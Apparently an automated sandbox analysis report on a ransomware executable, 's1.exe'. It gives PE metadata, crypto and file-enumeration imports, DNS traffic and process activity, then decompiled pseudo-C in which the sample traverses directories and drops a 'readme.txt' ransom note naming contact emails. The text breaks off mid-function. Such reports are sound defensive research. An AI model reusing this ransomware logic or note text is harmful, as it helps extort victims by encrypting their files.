                                                              • [IMP] VS2005 build 50727
                                                              • [LNK] VS2008 build 21022
                                                              • [C++] VS2008 build 21022
                                                              • [ASM] VS2008 build 21022

                                                              Data Directories

                                                              NameVirtual AddressVirtual Size Is in Section
                                                              IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_IMPORT0x13009c0x78.rdata
                                                              IMAGE_DIRECTORY_ENTRY_RESOURCE0x33e0000x1b4.rsrc
                                                              IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_BASERELOC0x33f0000x9164.reloc
                                                              IMAGE_DIRECTORY_ENTRY_DEBUG0xf02900x1c.rdata
                                                              IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x12f8980x40.rdata
                                                              IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_IAT0xf00000x24c.rdata
                                                              IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                              Sections

                                                              NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                              .text0x10000xee6620xee800False0.569356410508data7.06945191385IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                                                              .rdata0xf00000x40df60x40e00False0.500052685453data6.12893417527IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                              .data0x1310000x20c8440x6400unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
                                                              .rsrc0x33e0000x1b40x200False0.48828125data5.10871729953IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                              .reloc0x33f0000xc94e0xca00False0.443939511139data5.47406302413IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                              Resources

                                                              NameRVASizeTypeLanguageCountry
                                                              RT_MANIFEST0x33e0580x15aASCII text, with CRLF line terminatorsEnglishUnited States

                                                              Imports

                                                              DLLImport
                                                              KERNEL32.dllGetCurrentProcessId, CloseHandle, LoadLibraryA, VirtualAlloc, GetProcAddress, InitializeCriticalSectionAndSpinCount, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InterlockedCompareExchange, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetCurrentThreadId, InterlockedExchangeAdd, GetModuleHandleW, GetVersion, MultiByteToWideChar, WriteFile, GetFileType, GetStdHandle, GetSystemTimeAsFileTime, DeleteFiber, GetTickCount, QueryPerformanceCounter, GlobalMemoryStatus, WideCharToMultiByte, ConvertFiberToThread, GetConsoleMode, SetConsoleMode, ReadConsoleA, ReadConsoleW, GetEnvironmentVariableW, LoadLibraryW, HeapFree, FileTimeToSystemTime, FileTimeToLocalFileTime, GetLastError, DeleteFileA, Sleep, ExitProcess, GetCommandLineA, HeapReAlloc, SetConsoleCtrlHandler, TerminateProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapCreate, GetFullPathNameA, GetCurrentDirectoryA, GetModuleFileNameA, SetHandleCount, GetStartupInfoA, SetFilePointer, ReadFile, RtlUnwind, GetConsoleCP, GetCPInfo, InterlockedIncrement, InterlockedDecrement, GetACP, GetOEMCP, IsValidCodePage, SetLastError, LCMapStringA, LCMapStringW, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetModuleHandleA, FlushFileBuffers, SetStdHandle, HeapSize, GetTimeZoneInformation, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, CompareStringA, CompareStringW, SetEnvironmentVariableA, CreateFileW, SetEndOfFile, GetProcessHeap, VirtualFree, GetCurrentProcess, FreeLibrary, CreateFileA, FindNextFileA, FindClose, GetLogicalDriveStringsA, FindFirstFileA, lstrcatA, GetFileAttributesA, GetDriveTypeA, GetLogicalDrives, HeapAlloc, lstrcpynA
                                                              ADVAPI32.dllOpenServiceA, CryptDecrypt, CryptCreateHash, CryptSetHashParam, CryptSignHashW, CryptDestroyHash, CryptExportKey, CryptGetUserKey, CryptGetProvParam, CryptDestroyKey, CryptEnumProvidersW, CryptAcquireContextW, CryptGenRandom, CryptReleaseContext, RegisterEventSourceW, ReportEventW, DeregisterEventSource, CloseServiceHandle, StartServiceCtrlDispatcherA, DeleteService, RegisterServiceCtrlHandlerA, SetServiceStatus, OpenSCManagerA
                                                              WS2_32.dllclosesocket, recv, WSASetLastError, send, WSAGetLastError, WSACleanup
                                                              USER32.dllGetProcessWindowStation, MessageBoxW, GetUserObjectInformationW
                                                              CRYPT32.dllCertCloseStore, CertFreeCertificateContext, CertEnumCertificatesInStore, CertFindCertificateInStore, CertOpenStore, CertGetCertificateContextProperty, CertDuplicateCertificateContext

                                                              Possible Origin

                                                              Language of compilation systemCountry where language is spokenMap
                                                              EnglishUnited States

                                                              Network Behavior

                                                              Network Port Distribution

                                                              UDP Packets

                                                              TimestampSource PortDest PortSource IPDest IP
                                                              Mar 12, 2021 07:50:53.833708048 CET5020053192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:50:53.884049892 CET53502008.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:50:54.113070011 CET5128153192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:50:54.161968946 CET53512818.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:51:18.307997942 CET4919953192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:51:18.356920958 CET53491998.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:51:19.861752033 CET5062053192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:51:19.919178009 CET53506208.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:51:20.515088081 CET6493853192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:51:20.566607952 CET53649388.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:51:22.868988991 CET6015253192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:51:22.922244072 CET53601528.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:51:23.993818045 CET5754453192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:51:24.053859949 CET53575448.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:51:26.045272112 CET5598453192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:51:26.097367048 CET53559848.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:51:26.728358030 CET6418553192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:51:26.777554035 CET53641858.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:51:28.620266914 CET6511053192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:51:28.669907093 CET53651108.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:51:29.636850119 CET5836153192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:51:29.693075895 CET53583618.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:51:30.991065979 CET6349253192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:51:31.040050983 CET53634928.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:51:31.932851076 CET6083153192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:51:31.981755018 CET53608318.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:51:33.981340885 CET6010053192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:51:34.030253887 CET53601008.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:51:50.106355906 CET5319553192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:51:50.163902998 CET53531958.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:51:53.246642113 CET5014153192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:51:53.306775093 CET53501418.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:52:05.049283028 CET5302353192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:52:05.103527069 CET53530238.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:52:07.498558998 CET4956353192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:52:07.547313929 CET53495638.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:52:08.526535988 CET5135253192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:52:08.578398943 CET53513528.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:52:09.882282019 CET5934953192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:52:09.934231043 CET53593498.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:52:11.219800949 CET5708453192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:52:11.268742085 CET53570848.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:52:12.810848951 CET5882353192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:52:12.869491100 CET53588238.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:52:13.723581076 CET5756853192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:52:13.775748968 CET53575688.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:52:14.154747009 CET5054053192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:52:14.207487106 CET53505408.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:52:15.696351051 CET5436653192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:52:15.721138954 CET5303453192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:52:15.749484062 CET53543668.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:52:15.769967079 CET53530348.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:52:17.106087923 CET5776253192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:52:17.165679932 CET53577628.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:52:18.032622099 CET5543553192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:52:18.081962109 CET53554358.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:52:22.303215027 CET5071353192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:52:22.353840113 CET53507138.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:52:24.688997984 CET5613253192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:52:24.741686106 CET53561328.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:52:59.830176115 CET5898753192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:52:59.904920101 CET53589878.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:53:26.388868093 CET5657953192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:53:26.393734932 CET6063353192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:53:26.452002048 CET53565798.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:53:26.457263947 CET53606338.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:53:28.557581902 CET6129253192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:53:28.606383085 CET53612928.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:53:39.844758034 CET6361953192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:53:39.893683910 CET53636198.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:53:47.897320032 CET6493853192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:53:47.948962927 CET53649388.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:53:56.573096991 CET6194653192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:53:56.651868105 CET53619468.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:54:13.181765079 CET6491053192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:54:13.234152079 CET53649108.8.8.8192.168.2.3
                                                              Mar 12, 2021 07:54:14.727020025 CET5212353192.168.2.38.8.8.8
                                                              Mar 12, 2021 07:54:14.784477949 CET53521238.8.8.8192.168.2.3

                                                              DNS Answers

                                                              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                              Mar 12, 2021 07:52:22.353840113 CET8.8.8.8192.168.2.30x93edNo error (0)prda.aadg.msidentity.comwww.tm.a.prd.aadg.trafficmanager.netCNAME (Canonical name)IN (0x0001)

                                                              Code Manipulations

                                                              Statistics

                                                              CPU Usage

                                                              Click to jump to process

                                                              Memory Usage

                                                              Click to jump to process

                                                              High Level Behavior Distribution

                                                              Click to dive into process behavior distribution

                                                              Behavior

                                                              Click to jump to process

                                                              System Behavior

                                                              General

                                                              Start time:07:51:00
                                                              Start date:12/03/2021
                                                              Path:C:\Users\user\Desktop\s1.exe
                                                              Wow64 process (32bit):true
                                                              Commandline:'C:\Users\user\Desktop\s1.exe'
                                                              Imagebase:0xab0000
                                                              File size:1322496 bytes
                                                              MD5 hash:0E55EAD3B8FD305D9A54F78C7B56741A
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:low

                                                              General

                                                              Start time:07:51:01
                                                              Start date:12/03/2021
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff6b2800000
                                                              File size:625664 bytes
                                                              MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high

                                                              General

                                                              Start time:07:51:08
                                                              Start date:12/03/2021
                                                              Path:C:\Windows\System32\WerFault.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\WerFault.exe -pss -s 568 -p 3388 -ip 3388
                                                              Imagebase:0x7ff69c760000
                                                              File size:494488 bytes
                                                              MD5 hash:2AFFE478D86272288BBEF5A00BBEF6A0
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:moderate

                                                              General

                                                              Start time:07:51:09
                                                              Start date:12/03/2021
                                                              Path:C:\Windows\explorer.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:
                                                              Imagebase:0x7ff714890000
                                                              File size:3933184 bytes
                                                              MD5 hash:AD5296B280E8F522A8A897C96BAB0E1D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high

                                                              General

                                                              Start time:07:51:18
                                                              Start date:12/03/2021
                                                              Path:C:\Windows\System32\WerFault.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\WerFault.exe -u -p 3388 -s 1296
                                                              Imagebase:0x7ff69c760000
                                                              File size:494488 bytes
                                                              MD5 hash:2AFFE478D86272288BBEF5A00BBEF6A0
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:moderate

                                                              General

                                                              Start time:07:51:22
                                                              Start date:12/03/2021
                                                              Path:C:\Windows\explorer.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:explorer.exe
                                                              Imagebase:0x7ff714890000
                                                              File size:3933184 bytes
                                                              MD5 hash:AD5296B280E8F522A8A897C96BAB0E1D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high

                                                              General

                                                              Start time:07:51:47
                                                              Start date:12/03/2021
                                                              Path:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:'C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe' -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
                                                              Imagebase:0x7ff632eb0000
                                                              File size:13606304 bytes
                                                              MD5 hash:C4A9ACE9CDB9E5DB7CBA996CFA9EA7A2
                                                              Has elevated privileges:true
                                                              Has administrator privileges:false
                                                              Programmed in:C, C++ or other language
                                                              Reputation:moderate

                                                              General

                                                              Start time:07:53:24
                                                              Start date:12/03/2021
                                                              Path:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:'C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe' -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
                                                              Imagebase:0x7ff632eb0000
                                                              File size:13606304 bytes
                                                              MD5 hash:C4A9ACE9CDB9E5DB7CBA996CFA9EA7A2
                                                              Has elevated privileges:true
                                                              Has administrator privileges:false
                                                              Programmed in:C, C++ or other language
                                                              Reputation:moderate

                                                              Disassembly

                                                              Code Analysis

                                                              Reset < >

                                                                Executed Functions

                                                                C-Code - Quality: 78%
                                                                			E00AB1640(char** _a4, intOrPtr* _a8, char** _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
                                                                				long _v8;
                                                                				signed int _v12;
                                                                				char _v20;
                                                                				intOrPtr _v28;
                                                                				signed int _v32;
                                                                				char _v84;
                                                                				char _v1388;
                                                                				char _v2692;
                                                                				char _v3996;
                                                                				char _v5299;
                                                                				char _v5300;
                                                                				struct _WIN32_FIND_DATAA _v5620;
                                                                				char _v5621;
                                                                				intOrPtr _v5628;
                                                                				intOrPtr _v5632;
                                                                				char** _v5636;
                                                                				void* _v5644;
                                                                				intOrPtr* _v5648;
                                                                				void* __ebx;
                                                                				void* __edi;
                                                                				void* __esi;
                                                                				void* __ebp;
                                                                				signed int _t119;
                                                                				signed int _t120;
                                                                				intOrPtr* _t126;
                                                                				int _t130;
                                                                				intOrPtr* _t133;
                                                                				char** _t134;
                                                                				intOrPtr* _t135;
                                                                				signed int _t143;
                                                                				intOrPtr* _t144;
                                                                				char** _t146;
                                                                				char** _t147;
                                                                				char** _t152;
                                                                				char** _t153;
                                                                				intOrPtr* _t154;
                                                                				char** _t155;
                                                                				char* _t158;
                                                                				char** _t159;
                                                                				char _t162;
                                                                				intOrPtr* _t163;
                                                                				char** _t166;
                                                                				intOrPtr* _t167;
                                                                				intOrPtr* _t169;
                                                                				intOrPtr* _t173;
                                                                				intOrPtr* _t175;
                                                                				intOrPtr* _t178;
                                                                				void* _t180;
                                                                				intOrPtr* _t181;
                                                                				intOrPtr* _t183;
                                                                				void* _t187;
                                                                				intOrPtr* _t192;
                                                                				char _t196;
                                                                				intOrPtr* _t197;
                                                                				intOrPtr* _t199;
                                                                				void* _t202;
                                                                				intOrPtr _t206;
                                                                				intOrPtr _t212;
                                                                				char** _t213;
                                                                				char** _t215;
                                                                				char** _t216;
                                                                				char** _t218;
                                                                				char* _t219;
                                                                				char* _t220;
                                                                				char** _t221;
                                                                				char** _t223;
                                                                				intOrPtr _t225;
                                                                				char** _t226;
                                                                				intOrPtr _t227;
                                                                				intOrPtr _t228;
                                                                				intOrPtr _t229;
                                                                				intOrPtr _t231;
                                                                				intOrPtr _t232;
                                                                				void* _t234;
                                                                				void* _t236;
                                                                				void* _t237;
                                                                				char* _t241;
                                                                				void* _t244;
                                                                				void* _t245;
                                                                				void* _t248;
                                                                				void* _t249;
                                                                				void* _t251;
                                                                				void* _t252;
                                                                				void* _t253;
                                                                				void* _t254;
                                                                				char** _t255;
                                                                				signed int _t256;
                                                                				char** _t258;
                                                                				char** _t259;
                                                                				void* _t260;
                                                                				void* _t261;
                                                                				intOrPtr* _t265;
                                                                				void* _t266;
                                                                				signed int _t267;
                                                                				void* _t268;
                                                                				intOrPtr _t269;
                                                                				void* _t271;
                                                                				void* _t272;
                                                                				void* _t275;
                                                                				void* _t276;
                                                                				void* _t277;
                                                                				void* _t278;
                                                                
                                                                				_push(0xfffffffe);
                                                                				_push(0xbe0080);
                                                                				_push(0xb908a0);
                                                                				_push( *[fs:0x0]);
                                                                				_t269 = _t268 - 8;
                                                                				E00B8BB10(0x15f8);
                                                                				_t119 =  *0xbe5970; // 0xe6e1d076
                                                                				_v12 = _v12 ^ _t119;
                                                                				_t120 = _t119 ^ _t267;
                                                                				_v32 = _t120;
                                                                				_push(_t201);
                                                                				_push(_t251);
                                                                				_push(_t120);
                                                                				 *[fs:0x0] =  &_v20;
                                                                				_v28 = _t269;
                                                                				_v5636 = _a4;
                                                                				_t265 = _a8;
                                                                				_v5648 = _t265;
                                                                				_v5628 = _a20;
                                                                				_v5632 = _a24;
                                                                				_v5620.dwFileAttributes = 0;
                                                                				E00B8BB40(_t251,  &(_v5620.ftCreationTime), 0, 0x13c);
                                                                				_v5300 = 0;
                                                                				E00B8BB40(_t251,  &_v5299, 0, 0x513);
                                                                				_t271 = _t269 + 0x18;
                                                                				_v5621 = 1;
                                                                				_t126 = _t265;
                                                                				_t234 = _t126 + 1;
                                                                				do {
                                                                					_t206 =  *_t126;
                                                                					_t126 = _t126 + 1;
                                                                				} while (_t206 != 0);
                                                                				if( *((char*)(_t265 + _t126 - _t234 - 1)) == 0x5c) {
                                                                					L7:
                                                                					_push("*.*");
                                                                					_push(_t265);
                                                                					_push("%s%s");
                                                                					_push( &_v5300);
                                                                					L8:
                                                                					E00B89C35(_t251, _t265);
                                                                					_t272 = _t271 + 0x10;
                                                                					_t207 =  &_v5620;
                                                                					_t235 =  &_v5300;
                                                                					_t130 = FindFirstFileA( &_v5300,  &_v5620); // executed
                                                                					_v5644 = _t130;
                                                                					if(_t130 == 0xffffffff) {
                                                                						L86:
                                                                						 *[fs:0x0] = _v20;
                                                                						_pop(_t252);
                                                                						_pop(_t266);
                                                                						_pop(_t202);
                                                                						return E00B89C26(_t130, _t202, _v32 ^ _t267, _t235, _t252, _t266);
                                                                					} else {
                                                                						goto L9;
                                                                					}
                                                                					do {
                                                                						L9:
                                                                						if((_v5620.dwFileAttributes & 0x00000010) != 0) {
                                                                							__eflags = _v5620.cFileName - 0x2e;
                                                                							if(_v5620.cFileName == 0x2e) {
                                                                								goto L83;
                                                                							}
                                                                							_t133 = _t265;
                                                                							_t237 = _t133 + 1;
                                                                							do {
                                                                								_t213 =  *_t133;
                                                                								_t133 = _t133 + 1;
                                                                								__eflags = _t213;
                                                                							} while (_t213 != 0);
                                                                							_t134 = _t133 - _t237;
                                                                							__eflags = _t134;
                                                                							_t235 = _t134;
                                                                							_t135 =  &(_v5620.cFileName);
                                                                							_t75 = _t135 + 1; // 0x2f
                                                                							_t254 = _t75;
                                                                							do {
                                                                								_t207 =  *_t135;
                                                                								_t135 = _t135 + 1;
                                                                								__eflags = _t207;
                                                                							} while (_t207 != 0);
                                                                							__eflags = _t135 - _t254 + _t235 - 0x514;
                                                                							if(_t135 - _t254 + _t235 >= 0x514) {
                                                                								goto L83;
                                                                							}
                                                                							E00B8BB40(_t254,  &_v3996, 0, 0x514);
                                                                							E00B8BB40(_t254,  &_v1388, 0, 0x514);
                                                                							_push( &(_v5620.cFileName));
                                                                							E00B89C35(_t254, _t265,  &_v3996, "%s%s", _t265);
                                                                							_t272 = _t272 + 0x28;
                                                                							_t143 = 0;
                                                                							do {
                                                                								_t215 =  *((intOrPtr*)(_t267 + _t143 - 0xf98));
                                                                								 *((char*)(_t267 + _t143 - 0x568)) = _t215;
                                                                								_t143 = _t143 + 1;
                                                                								__eflags = _t215;
                                                                							} while (_t215 != 0);
                                                                							_t255 = 0;
                                                                							__eflags = 0;
                                                                							_t144 =  &_v1388;
                                                                							_t235 = _t144 + 1;
                                                                							do {
                                                                								_t216 =  *_t144;
                                                                								_t144 = _t144 + 1;
                                                                								__eflags = _t216;
                                                                							} while (_t216 != 0);
                                                                							__eflags = _t144 == _t235;
                                                                							if(_t144 == _t235) {
                                                                								L65:
                                                                								_t256 = 0;
                                                                								__eflags =  *0xde9ef0;
                                                                								if( *0xde9ef0 == 0) {
                                                                									L71:
                                                                									_t258 =  &_v3996 - 1;
                                                                									__eflags = _t258;
                                                                									do {
                                                                										_t146 = _t258[0];
                                                                										_t258 =  &(_t258[0]);
                                                                										__eflags = _t146;
                                                                									} while (_t146 != 0);
                                                                									_t207 = "\\"; // 0x5c
                                                                									 *_t258 = _t207;
                                                                									__eflags = _v5621 - _t146;
                                                                									if(_v5621 == _t146) {
                                                                										L82:
                                                                										_v5621 = 1;
                                                                										goto L83;
                                                                									}
                                                                									_t147 = E00B8A360( &_v1388, "DESKTOP");
                                                                									_t275 = _t272 + 8;
                                                                									__eflags = _t147;
                                                                									if(_t147 == 0) {
                                                                										L81:
                                                                										_t207 =  &_v3996;
                                                                										_t235 = _v5636;
                                                                										E00AB1640(_v5636,  &_v3996, _a12, _a16, _v5628, _v5632); // executed
                                                                										_t272 = _t275 + 0x18;
                                                                										goto L82;
                                                                									}
                                                                									_t152 =  &_v1388 - 1;
                                                                									__eflags = _t152;
                                                                									do {
                                                                										_t218 = _t152[0];
                                                                										_t152 =  &(_t152[0]);
                                                                										__eflags = _t218;
                                                                									} while (_t218 != 0);
                                                                									_t219 = "/readme.txt"; // 0x6165722f
                                                                									 *_t152 = _t219;
                                                                									_t241 = M00BDF7C8; // 0x2e656d64
                                                                									_t152[1] = _t241;
                                                                									_t220 =  *0xbdf7cc; // 0x747874
                                                                									_t152[2] = _t220;
                                                                									_t153 = L00B8A96D( &_v1388, "w+"); // executed
                                                                									_t275 = _t275 + 8;
                                                                									_t259 = _t153;
                                                                									__eflags = _t259;
                                                                									if(_t259 == 0) {
                                                                										goto L81;
                                                                									}
                                                                									_t154 = 0xce9ef0;
                                                                									do {
                                                                										_t221 =  *_t154;
                                                                										_t154 = _t154 + 1;
                                                                										__eflags = _t221;
                                                                									} while (_t221 != 0);
                                                                									_t155 = _t154 - 0xce9ef1;
                                                                									__eflags = _t155;
                                                                									_push(_t259);
                                                                									_push(_t155);
                                                                									_push(1);
                                                                									_push("Your file has been encrypted!						 If you want to decrypt, please contact us.						 konedieyp@airmail.cc or uenwonken@memail.com						 And please send me the following hash!						 638428e5021d4ae247b21acf9c0bf6f6");
                                                                									E00B8ADA3(_t201, 0xce9ef1, _t259, _t265, __eflags);
                                                                									_push(_t259); // executed
                                                                									E00B8B1A7(_t201, 0xce9ef1, _t259, _t265, __eflags); // executed
                                                                									_t275 = _t275 + 0x14;
                                                                									goto L81;
                                                                								}
                                                                								_t158 = 0xde9ef0;
                                                                								while(1) {
                                                                									_t235 =  &_v1388;
                                                                									_t159 = E00B8A360( &_v1388, _t158);
                                                                									_t272 = _t272 + 8;
                                                                									__eflags = _t159;
                                                                									if(_t159 != 0) {
                                                                										break;
                                                                									}
                                                                									_t256 = _t256 + 1;
                                                                									_t158 = 0xde9ef0 + _t256 * 0xff;
                                                                									__eflags =  *_t158;
                                                                									if( *_t158 != 0) {
                                                                										continue;
                                                                									}
                                                                									goto L71;
                                                                								}
                                                                								_v5621 = 0;
                                                                								goto L71;
                                                                							}
                                                                							do {
                                                                								_t162 = E00B8AFFA( *((char*)(_t267 + _t255 - 0x568)));
                                                                								_t272 = _t272 + 4;
                                                                								 *((char*)(_t267 + _t255 - 0x568)) = _t162;
                                                                								_t255 =  &(_t255[0]);
                                                                								__eflags = _t255;
                                                                								_t163 =  &_v1388;
                                                                								_t235 = _t163 + 1;
                                                                								do {
                                                                									_t223 =  *_t163;
                                                                									_t163 = _t163 + 1;
                                                                									__eflags = _t223;
                                                                								} while (_t223 != 0);
                                                                								__eflags = _t255 - _t163 - _t235;
                                                                							} while (_t255 < _t163 - _t235);
                                                                							goto L65;
                                                                						}
                                                                						_t166 = E00B8AE30(_t207,  &(_v5620.cFileName), 0x2e);
                                                                						_t272 = _t272 + 8;
                                                                						_t201 = _t166;
                                                                						if(_t201 == 0) {
                                                                							goto L83;
                                                                						}
                                                                						_t167 = _t265;
                                                                						_t236 = _t167 + 1;
                                                                						do {
                                                                							_t212 =  *_t167;
                                                                							_t167 = _t167 + 1;
                                                                						} while (_t212 != 0);
                                                                						_t235 = _t167 - _t236;
                                                                						_t169 =  &(_v5620.cFileName);
                                                                						_t260 = _t169 + 1;
                                                                						do {
                                                                							_t207 =  *_t169;
                                                                							_t169 = _t169 + 1;
                                                                						} while (_t207 != 0);
                                                                						if(_t169 - _t260 + _t235 >= 0x514) {
                                                                							goto L83;
                                                                						}
                                                                						E00B8BB40(_t260,  &_v84, 0, 0x32);
                                                                						_t276 = _t272 + 0xc;
                                                                						_t173 = _t201;
                                                                						_t38 = _t173 + 1; // 0x1
                                                                						_t244 = _t38;
                                                                						do {
                                                                							_t225 =  *_t173;
                                                                							_t173 = _t173 + 1;
                                                                						} while (_t225 != 0);
                                                                						if(_t173 - _t244 <= 0x32) {
                                                                							_t175 = _t201;
                                                                							_t39 = _t175 + 1; // 0x1
                                                                							_t245 = _t39;
                                                                							do {
                                                                								_t226 =  *_t175;
                                                                								_t175 = _t175 + 1;
                                                                								__eflags = _t226;
                                                                							} while (_t226 != 0);
                                                                							_t176 = _t175 - _t245;
                                                                							__eflags = _t175 - _t245;
                                                                							L23:
                                                                							E00B8A6C0( &_v84, _t201, _t176);
                                                                							_t277 = _t276 + 0xc;
                                                                							_t261 = 0;
                                                                							_t178 =  &_v84;
                                                                							_t235 = _t178 + 1;
                                                                							do {
                                                                								_t227 =  *_t178;
                                                                								_t178 = _t178 + 1;
                                                                							} while (_t227 != 0);
                                                                							if(_t178 == _t235) {
                                                                								L30:
                                                                								_t207 =  &_v84;
